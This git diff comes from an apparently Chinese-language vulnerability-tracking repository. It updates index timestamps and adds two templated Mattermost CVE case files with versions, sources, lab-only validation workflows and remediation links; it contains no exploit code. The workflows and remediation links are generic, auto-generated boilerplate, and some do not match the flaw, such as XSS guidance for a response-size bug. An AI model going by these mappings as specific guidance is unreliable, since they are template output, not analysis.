b/07-framework-security/frameworks/symfony/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `9` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/undici/INDEX.md b/07-framework-security/frameworks/undici/INDEX.md index c2ac8a54..d4fe8362 100644 --- a/07-framework-security/frameworks/undici/INDEX.md +++ b/07-framework-security/frameworks/undici/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `9` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/vite/INDEX.md b/07-framework-security/frameworks/vite/INDEX.md index f20cb6d5..985b4667 100644 --- a/07-framework-security/frameworks/vite/INDEX.md +++ b/07-framework-security/frameworks/vite/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `30` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/vue/INDEX.md b/07-framework-security/frameworks/vue/INDEX.md index bec89a00..b0cbe87a 100644 --- a/07-framework-security/frameworks/vue/INDEX.md +++ b/07-framework-security/frameworks/vue/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `15` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/webpack/INDEX.md b/07-framework-security/frameworks/webpack/INDEX.md index dd309733..2278d287 100644 --- a/07-framework-security/frameworks/webpack/INDEX.md +++ b/07-framework-security/frameworks/webpack/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/werkzeug/INDEX.md b/07-framework-security/frameworks/werkzeug/INDEX.md index 1686db60..acee9ba4 100644 --- a/07-framework-security/frameworks/werkzeug/INDEX.md +++ b/07-framework-security/frameworks/werkzeug/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/adminer/INDEX.md b/07-framework-security/platforms/adminer/INDEX.md index 5cd533b2..015f0810 100644 --- a/07-framework-security/platforms/adminer/INDEX.md +++ b/07-framework-security/platforms/adminer/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/gitea/INDEX.md b/07-framework-security/platforms/gitea/INDEX.md index 26b994a9..fcde60be 100644 --- a/07-framework-security/platforms/gitea/INDEX.md +++ b/07-framework-security/platforms/gitea/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `13` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/gitlab-ce/INDEX.md b/07-framework-security/platforms/gitlab-ce/INDEX.md index 7b504091..3318ae3a 100644 --- a/07-framework-security/platforms/gitlab-ce/INDEX.md +++ b/07-framework-security/platforms/gitlab-ce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `56` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/grafana/INDEX.md b/07-framework-security/platforms/grafana/INDEX.md index 210b8516..036bddb3 100644 --- a/07-framework-security/platforms/grafana/INDEX.md +++ b/07-framework-security/platforms/grafana/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `60` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/jenkins/INDEX.md b/07-framework-security/platforms/jenkins/INDEX.md index acbefc09..e1c23c60 100644 --- a/07-framework-security/platforms/jenkins/INDEX.md +++ b/07-framework-security/platforms/jenkins/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `60` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/kibana/INDEX.md b/07-framework-security/platforms/kibana/INDEX.md index 4aa6f3d7..b8f8a102 100644 --- a/07-framework-security/platforms/kibana/INDEX.md +++ b/07-framework-security/platforms/kibana/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `47` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/mattermost/INDEX.md b/07-framework-security/platforms/mattermost/INDEX.md index dde09c8b..5cf83bdc 100644 --- a/07-framework-security/platforms/mattermost/INDEX.md +++ b/07-framework-security/platforms/mattermost/INDEX.md @@ -5,14 +5,14 @@ - 系统 ID: `mattermost` - 分类: `platforms` - 覆盖策略: `rolling-24m` -- 总案例数: `31` -- 近 30 天新增/更新: `19` -- 重点 Markdown 案例数: `31` +- 总案例数: `33` +- 近 30 天新增/更新: `21` +- 重点 Markdown 案例数: `33` - 已实证(真实版本): `0` - 已实证(synthetic): `0` - 阻塞数: `0` -- 待人工/缺浏览器证据: `31` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 待人工/缺浏览器证据: `33` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 @@ -39,12 +39,14 @@ | Mattermost fails to properly enforce read permissions in search API endpoints | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:55:57.125165Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-24692.md) | | Mattermost fails to use consistent error responses when handling the /mute command | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:15.398070Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-21386.md) | | Mattermost fails to validate team-specific upload_file permissions | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:04.837800Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-4265.md) | +| Mattermost fails to limit the size of responses from integration action endpoints | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-26T21:11:03.241919Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2456.md) | | Mattermost allows a removed team member to enumerate all public channels within a private team | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:02.455815Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2458.md) | | Mattermost fails to filter invite IDs based on user permissions | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:08.610141Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2463.md) | | Mattermost fails to preserve the redacted state of burn-on-read posts during deletion | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:01.583567Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2578.md) | | Mattermost fails to properly handle very long passwords | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:03.732922Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-24458.md) | | Mattermost allows attackers to spoof permalink embeds | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:18.286997Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2457.md) | | Mattermost fails to bound memory allocation when processing DOC files | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:18.467718Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-25780.md) | +| Mattermost fails to properly validate User-Agent header tokens | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-26T21:11:24.090883Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-25783.md) | | Mattermost fails to bound memory allocation when processing PSD image files | `low` | `generated` | `triage-manual` | `synthetic` | `ecosystem-authority` | `2026-03-23T18:56:08.918090Z` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-26246.md) | | MMSA-2026-00574 | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-16` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-mmsa-2026-00574.md) | | MMSA-2026-00603 | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-16` | [link](/Users/x/websafe/07-framework-security/platforms/mattermost/cases/mattermost-mmsa-2026-00603.md) | diff --git a/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2456.md b/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2456.md new file mode 100644 index 00000000..126bb59e --- /dev/null +++ b/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-2456.md @@ -0,0 +1,178 @@ +--- +title: "Mattermost fails to limit the size of responses from integration action endpoints" +system_id: "mattermost" +category: "platforms" +advisory_mode: "core" +published_date: "2026-03-16T15:30:43Z" +updated_date: "2026-03-26T21:11:03.241919Z" +severity: "low" +exploit_status: "unknown" +source_confidence: "ecosystem-authority" +verification_status: "triage-manual" +verification_mode: "synthetic" +artifact_mode: "synthetic" +last_run_id: "" +target_types: + - "lab-local" + - "lab-public" + - "authorized-third-party" +allow_public_validation: "yes, with ownership or explicit authorization" +authorization_prerequisite: "asset ownership proof or explicit written authorization" +minimal_validation: "read-only probe, controlled payload, reversible test" +aliases: + - "CVE-2026-2456" + - "GO-2026-4726" + - "GHSA-34g8-9fpp-46ch" +affected_versions: + - "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6" + - "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6" + - "introduced=10.11.0-rc1, fixed<10.11.11" + - "introduced=11.2.0-rc1, fixed<11.2.3" + - "introduced=11.3.0-rc1, fixed<11.3.1" + - "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible" + - "introduced=0" +fixed_versions: + - "8.0.0-20260127165411-fe3052073dc6" + - "5.3.2-0.20260127165411-fe3052073dc6" + - "10.11.11" + - "11.2.3" + - "11.3.1" + - "10.11.11+incompatible" + - "11.2.3+incompatible" + - "11.3.1+incompatible" +entity_refs: + - "mattermost:system:root-system" + - "mattermost--repo--github-com-mattermost-mattermost-server:repo:affected-component" +secure_code_topics: + - "authz-server-side-recheck" + - "xss-output-encoding" + - "token-cookie-storage" + - "dependency-upgrade-policy" +primary_source: "https://nvd.nist.gov/vuln/detail/CVE-2026-2456" +--- + +# Mattermost fails to limit the size of responses from integration action endpoints + +## 本地实证状态 + +- 实证状态: `triage-manual` +- 实证方式: `synthetic` +- Artifact 模式: `synthetic` +- 最近运行: `-` +- 浏览器证据: `missing` +- Run Bundle: `-` + +## 事件层 + +- Canonical ID: `mattermost--CVE-2026-2456` +- 系统: `mattermost` +- 严重度: `low` +- 来源置信度: `ecosystem-authority` +- 官方主源: https://nvd.nist.gov/vuln/detail/CVE-2026-2456 +- 影响版本: `introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6, introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6, introduced=10.11.0-rc1, fixed<10.11.11, introduced=11.2.0-rc1, fixed<11.2.3, introduced=11.3.0-rc1, fixed<11.3.1, introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible, introduced=0` +- 修复版本: `8.0.0-20260127165411-fe3052073dc6, 5.3.2-0.20260127165411-fe3052073dc6, 10.11.11, 11.2.3, 11.3.1, 10.11.11+incompatible, 11.2.3+incompatible, 11.3.1+incompatible` + +## 对象与版本映射 + +- Advisory Scope: `repo` +- 影响对象: `mattermost / mattermost-server` +- Entity Refs: `mattermost, mattermost--repo--github-com-mattermost-mattermost-server` +- 版本置信度: `high` +- 版本缺口: `-` +- 版本证据源: `https://nvd.nist.gov/vuln/detail/CVE-2026-2456, https://github.com/advisories/GHSA-34g8-9fpp-46ch, https://github.com/mattermost/mattermost/commit/fe3052073dc67e3c920baf9fe7efd44ac1d8124c, https://github.com/mattermost/mattermost, https://mattermost.com/security-updates` + +## 受控验证流程 + +- Workflow ID: `mattermost--CVE-2026-2456--workflow` +- 漏洞家族: `unknown` +- 入口面: `repo-surface` +- 需要角色: `unknown` +- 触发向量: 对 `unknown` 家族入口投递最小化、可审计、可回滚的受控输入,比较修复前后差异。 +- 请求/页面入口: `/repo` +- 输入形态: 提交最小化、可审计、可回滚的受控输入。 +- 预期不安全行为: 目标表现出超出设计边界的行为。 + +## 其他来源 + +- https://github.com/advisories/GHSA-34g8-9fpp-46ch +- https://github.com/mattermost/mattermost/commit/fe3052073dc67e3c920baf9fe7efd44ac1d8124c +- https://github.com/mattermost/mattermost +- https://mattermost.com/security-updates + +## 证据点与补丁验证 + +### 服务端证据点 + +- 应用日志中的命中路径、鉴权决策和异常栈 +- 反向代理或边界层日志中的请求头、来源 IP 与路由决策 + +### 浏览器证据点 + +- 基线截图与攻击后截图的 DOM/视觉差异 +- console、network 与 response metadata 中的异常信号 + +### 数据库/文件系统证据点 + +- 数据库中新增/越权读取的测试数据 +- 文件系统中新增上传样本、缓存条目或越权读取痕迹 + +### 检测信号 + +- WAF / reverse proxy 异常日志、访问日志和告警 +- 应用审计日志中的权限错误、重定向异常、模板渲染或上传落盘事件 + +### 补丁验证步骤 + +- 确认目标版本从 `introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6, introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6, introduced=10.11.0-rc1, fixed<10.11.11` 升级或回移到 `8.0.0-20260127165411-fe3052073dc6`。 +- 保留同一组受控输入,在修复前后分别执行并比对响应、日志与浏览器证据。 +- 确认修复后仅保留预期业务行为,不再触发越权、回显、异常渲染或错误请求。 +- 补充 `unknown` 族自动化回归,避免同类路径在插件、主题或代理链中回归。 + +### 实验安全备注 + +- 只使用回环地址、哨兵目标、无害样本或可回滚测试数据。 +- 禁止造成持久破坏、越权下载真实数据或不可回滚 side effect。 +- 如需浏览器证据,保留 baseline / proof 两份快照以及 console / network 记录。 + +## 实验层 + +- 仅用于自有资产、测试环境或已明确授权目标。 +- 允许公网可达目标,但必须满足资产归属或明确授权前提。 +- 最小化验证方式: 最小化验证、只读探测、可审计回显、受控注入。 +- 若该案例涉及插件、模块或扩展,应同时检查供应链与升级策略。 +- 禁止场景: 无归属证明或无明确授权的公网目标;知名公共网站或与测试无关的第三方资产;会造成持久破坏、数据越权下载或不可回滚影响的动作 + +## 修复示例 + +- [javascript-typescript:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/javascript-typescript/authz-server-side-recheck.md) +- [nodejs:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/nodejs/authz-server-side-recheck.md) +- [java:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/java/authz-server-side-recheck.md) +- [php:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/php/authz-server-side-recheck.md) +- [python:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/python/authz-server-side-recheck.md) +- [ruby:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/ruby/authz-server-side-recheck.md) +- [csharp:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/csharp/authz-server-side-recheck.md) +- [go:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/go/authz-server-side-recheck.md) +- [javascript-typescript:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/javascript-typescript/xss-output-encoding.md) +- [nodejs:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/nodejs/xss-output-encoding.md) +- [java:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/java/xss-output-encoding.md) +- [php:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/php/xss-output-encoding.md) +- [python:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/python/xss-output-encoding.md) +- [ruby:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/ruby/xss-output-encoding.md) +- [csharp:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/csharp/xss-output-encoding.md) +- [go:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/go/xss-output-encoding.md) +- [javascript-typescript:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/javascript-typescript/token-cookie-storage.md) +- [nodejs:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/nodejs/token-cookie-storage.md) +- [java:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/java/token-cookie-storage.md) +- [php:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/php/token-cookie-storage.md) +- [python:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/python/token-cookie-storage.md) +- [ruby:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/ruby/token-cookie-storage.md) +- [csharp:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/csharp/token-cookie-storage.md) +- [go:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/go/token-cookie-storage.md) +- [javascript-typescript:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/javascript-typescript/dependency-upgrade-policy.md) +- [nodejs:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/nodejs/dependency-upgrade-policy.md) +- [java:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/java/dependency-upgrade-policy.md) +- [php:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/php/dependency-upgrade-policy.md) +- [python:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/python/dependency-upgrade-policy.md) +- [ruby:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/ruby/dependency-upgrade-policy.md) +- [csharp:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/csharp/dependency-upgrade-policy.md) +- [go:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/go/dependency-upgrade-policy.md) diff --git a/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-25783.md b/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-25783.md new file mode 100644 index 00000000..6d46add0 --- /dev/null +++ b/07-framework-security/platforms/mattermost/cases/mattermost-cve-2026-25783.md @@ -0,0 +1,178 @@ +--- +title: "Mattermost fails to properly validate User-Agent header tokens" +system_id: "mattermost" +category: "platforms" +advisory_mode: "core" +published_date: "2026-03-16T15:30:42Z" +updated_date: "2026-03-26T21:11:24.090883Z" +severity: "low" +exploit_status: "unknown" +source_confidence: "ecosystem-authority" +verification_status: "triage-manual" +verification_mode: "synthetic" +artifact_mode: "synthetic" +last_run_id: "" +target_types: + - "lab-local" + - "lab-public" + - "authorized-third-party" +allow_public_validation: "yes, with ownership or explicit authorization" +authorization_prerequisite: "asset ownership proof or explicit written authorization" +minimal_validation: "read-only probe, controlled payload, reversible test" +aliases: + - "CVE-2026-25783" + - "GO-2026-4725" + - "GHSA-2v3w-6g35-5f9v" +affected_versions: + - "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef" + - "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef" + - "introduced=10.11.0-rc1, fixed<10.11.11" + - "introduced=11.2.0-rc1, fixed<11.2.3" + - "introduced=11.3.0-rc1, fixed<11.3.1" + - "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible" + - "introduced=0" +fixed_versions: + - "8.0.0-20260129181235-1346cf529aef" + - "5.3.2-0.20260129181235-1346cf529aef" + - "10.11.11" + - "11.2.3" + - "11.3.1" + - "10.11.11+incompatible" + - "11.2.3+incompatible" + - "11.3.1+incompatible" +entity_refs: + - "mattermost:system:root-system" + - "mattermost--repo--github-com-mattermost-mattermost-server:repo:affected-component" +secure_code_topics: + - "authz-server-side-recheck" + - "xss-output-encoding" + - "token-cookie-storage" + - "dependency-upgrade-policy" +primary_source: "https://nvd.nist.gov/vuln/detail/CVE-2026-25783" +--- + +# Mattermost fails to properly validate User-Agent header tokens + +## 本地实证状态 + +- 实证状态: `triage-manual` +- 实证方式: `synthetic` +- Artifact 模式: `synthetic` +- 最近运行: `-` +- 浏览器证据: `missing` +- Run Bundle: `-` + +## 事件层 + +- Canonical ID: `mattermost--CVE-2026-25783` +- 系统: `mattermost` +- 严重度: `low` +- 来源置信度: `ecosystem-authority` +- 官方主源: https://nvd.nist.gov/vuln/detail/CVE-2026-25783 +- 影响版本: `introduced=0, fixed<8.0.0-20260129181235-1346cf529aef, introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef, introduced=10.11.0-rc1, fixed<10.11.11, introduced=11.2.0-rc1, fixed<11.2.3, introduced=11.3.0-rc1, fixed<11.3.1, introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible, introduced=0` +- 修复版本: `8.0.0-20260129181235-1346cf529aef, 5.3.2-0.20260129181235-1346cf529aef, 10.11.11, 11.2.3, 11.3.1, 10.11.11+incompatible, 11.2.3+incompatible, 11.3.1+incompatible` + +## 对象与版本映射 + +- Advisory Scope: `repo` +- 影响对象: `mattermost / mattermost-server` +- Entity Refs: `mattermost, mattermost--repo--github-com-mattermost-mattermost-server` +- 版本置信度: `high` +- 版本缺口: `-` +- 版本证据源: `https://nvd.nist.gov/vuln/detail/CVE-2026-25783, https://github.com/advisories/GHSA-2v3w-6g35-5f9v, https://github.com/mattermost/mattermost/commit/1346cf529aef0672c39a56ec10d1b8a9c8fb387d, https://github.com/mattermost/mattermost, https://mattermost.com/security-updates` + +## 受控验证流程 + +- Workflow ID: `mattermost--CVE-2026-25783--workflow` +- 漏洞家族: `session-token` +- 入口面: `session-or-token-processing` +- 需要角色: `authenticated-user` +- 触发向量: 对 `session-token` 家族入口投递最小化、可审计、可回滚的受控输入,比较修复前后差异。 +- 请求/页面入口: `/login, /callback, /session` +- 输入形态: 使用短期测试令牌或会话,验证生命周期、绑定与失效逻辑。 +- 预期不安全行为: 令牌或会话可被重放、固定或越权使用。 + +## 其他来源 + +- https://github.com/advisories/GHSA-2v3w-6g35-5f9v +- https://github.com/mattermost/mattermost/commit/1346cf529aef0672c39a56ec10d1b8a9c8fb387d +- https://github.com/mattermost/mattermost +- https://mattermost.com/security-updates + +## 证据点与补丁验证 + +### 服务端证据点 + +- 应用日志中的命中路径、鉴权决策和异常栈 +- 反向代理或边界层日志中的请求头、来源 IP 与路由决策 + +### 浏览器证据点 + +- 基线截图与攻击后截图的 DOM/视觉差异 +- console、network 与 response metadata 中的异常信号 + +### 数据库/文件系统证据点 + +- 数据库中新增/越权读取的测试数据 +- 文件系统中新增上传样本、缓存条目或越权读取痕迹 + +### 检测信号 + +- WAF / reverse proxy 异常日志、访问日志和告警 +- 应用审计日志中的权限错误、重定向异常、模板渲染或上传落盘事件 + +### 补丁验证步骤 + +- 确认目标版本从 `introduced=0, fixed<8.0.0-20260129181235-1346cf529aef, introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef, introduced=10.11.0-rc1, fixed<10.11.11` 升级或回移到 `8.0.0-20260129181235-1346cf529aef`。 +- 保留同一组受控输入,在修复前后分别执行并比对响应、日志与浏览器证据。 +- 确认修复后仅保留预期业务行为,不再触发越权、回显、异常渲染或错误请求。 +- 补充 `session-token` 族自动化回归,避免同类路径在插件、主题或代理链中回归。 + +### 实验安全备注 + +- 只使用回环地址、哨兵目标、无害样本或可回滚测试数据。 +- 禁止造成持久破坏、越权下载真实数据或不可回滚 side effect。 +- 如需浏览器证据,保留 baseline / proof 两份快照以及 console / network 记录。 + +## 实验层 + +- 仅用于自有资产、测试环境或已明确授权目标。 +- 允许公网可达目标,但必须满足资产归属或明确授权前提。 +- 最小化验证方式: 最小化验证、只读探测、可审计回显、受控注入。 +- 若该案例涉及插件、模块或扩展,应同时检查供应链与升级策略。 +- 禁止场景: 无归属证明或无明确授权的公网目标;知名公共网站或与测试无关的第三方资产;会造成持久破坏、数据越权下载或不可回滚影响的动作 + +## 修复示例 + +- [javascript-typescript:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/javascript-typescript/authz-server-side-recheck.md) +- [nodejs:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/nodejs/authz-server-side-recheck.md) +- [java:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/java/authz-server-side-recheck.md) +- [php:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/php/authz-server-side-recheck.md) +- [python:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/python/authz-server-side-recheck.md) +- [ruby:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/ruby/authz-server-side-recheck.md) +- [csharp:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/csharp/authz-server-side-recheck.md) +- [go:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/go/authz-server-side-recheck.md) +- [javascript-typescript:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/javascript-typescript/xss-output-encoding.md) +- [nodejs:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/nodejs/xss-output-encoding.md) +- [java:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/java/xss-output-encoding.md) +- [php:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/php/xss-output-encoding.md) +- [python:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/python/xss-output-encoding.md) +- [ruby:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/ruby/xss-output-encoding.md) +- [csharp:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/csharp/xss-output-encoding.md) +- [go:xss-output-encoding](/Users/x/websafe/05-defense/secure-code/go/xss-output-encoding.md) +- [javascript-typescript:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/javascript-typescript/token-cookie-storage.md) +- [nodejs:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/nodejs/token-cookie-storage.md) +- [java:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/java/token-cookie-storage.md) +- [php:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/php/token-cookie-storage.md) +- [python:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/python/token-cookie-storage.md) +- [ruby:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/ruby/token-cookie-storage.md) +- [csharp:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/csharp/token-cookie-storage.md) +- [go:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/go/token-cookie-storage.md) +- [javascript-typescript:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/javascript-typescript/dependency-upgrade-policy.md) +- [nodejs:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/nodejs/dependency-upgrade-policy.md) +- [java:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/java/dependency-upgrade-policy.md) +- [php:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/php/dependency-upgrade-policy.md) +- [python:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/python/dependency-upgrade-policy.md) +- [ruby:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/ruby/dependency-upgrade-policy.md) +- [csharp:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/csharp/dependency-upgrade-policy.md) +- [go:dependency-upgrade-policy](/Users/x/websafe/05-defense/secure-code/go/dependency-upgrade-policy.md) diff --git a/07-framework-security/platforms/phpmyadmin/INDEX.md b/07-framework-security/platforms/phpmyadmin/INDEX.md index d3989c12..1b1ce4d6 100644 --- a/07-framework-security/platforms/phpmyadmin/INDEX.md +++ b/07-framework-security/platforms/phpmyadmin/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `50` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/redmine/INDEX.md b/07-framework-security/platforms/redmine/INDEX.md index 4a192fd0..d0bff089 100644 --- a/07-framework-security/platforms/redmine/INDEX.md +++ b/07-framework-security/platforms/redmine/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `50` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/apache-httpd/INDEX.md b/07-framework-security/servers/apache-httpd/INDEX.md index a48f19af..ebf46268 100644 --- 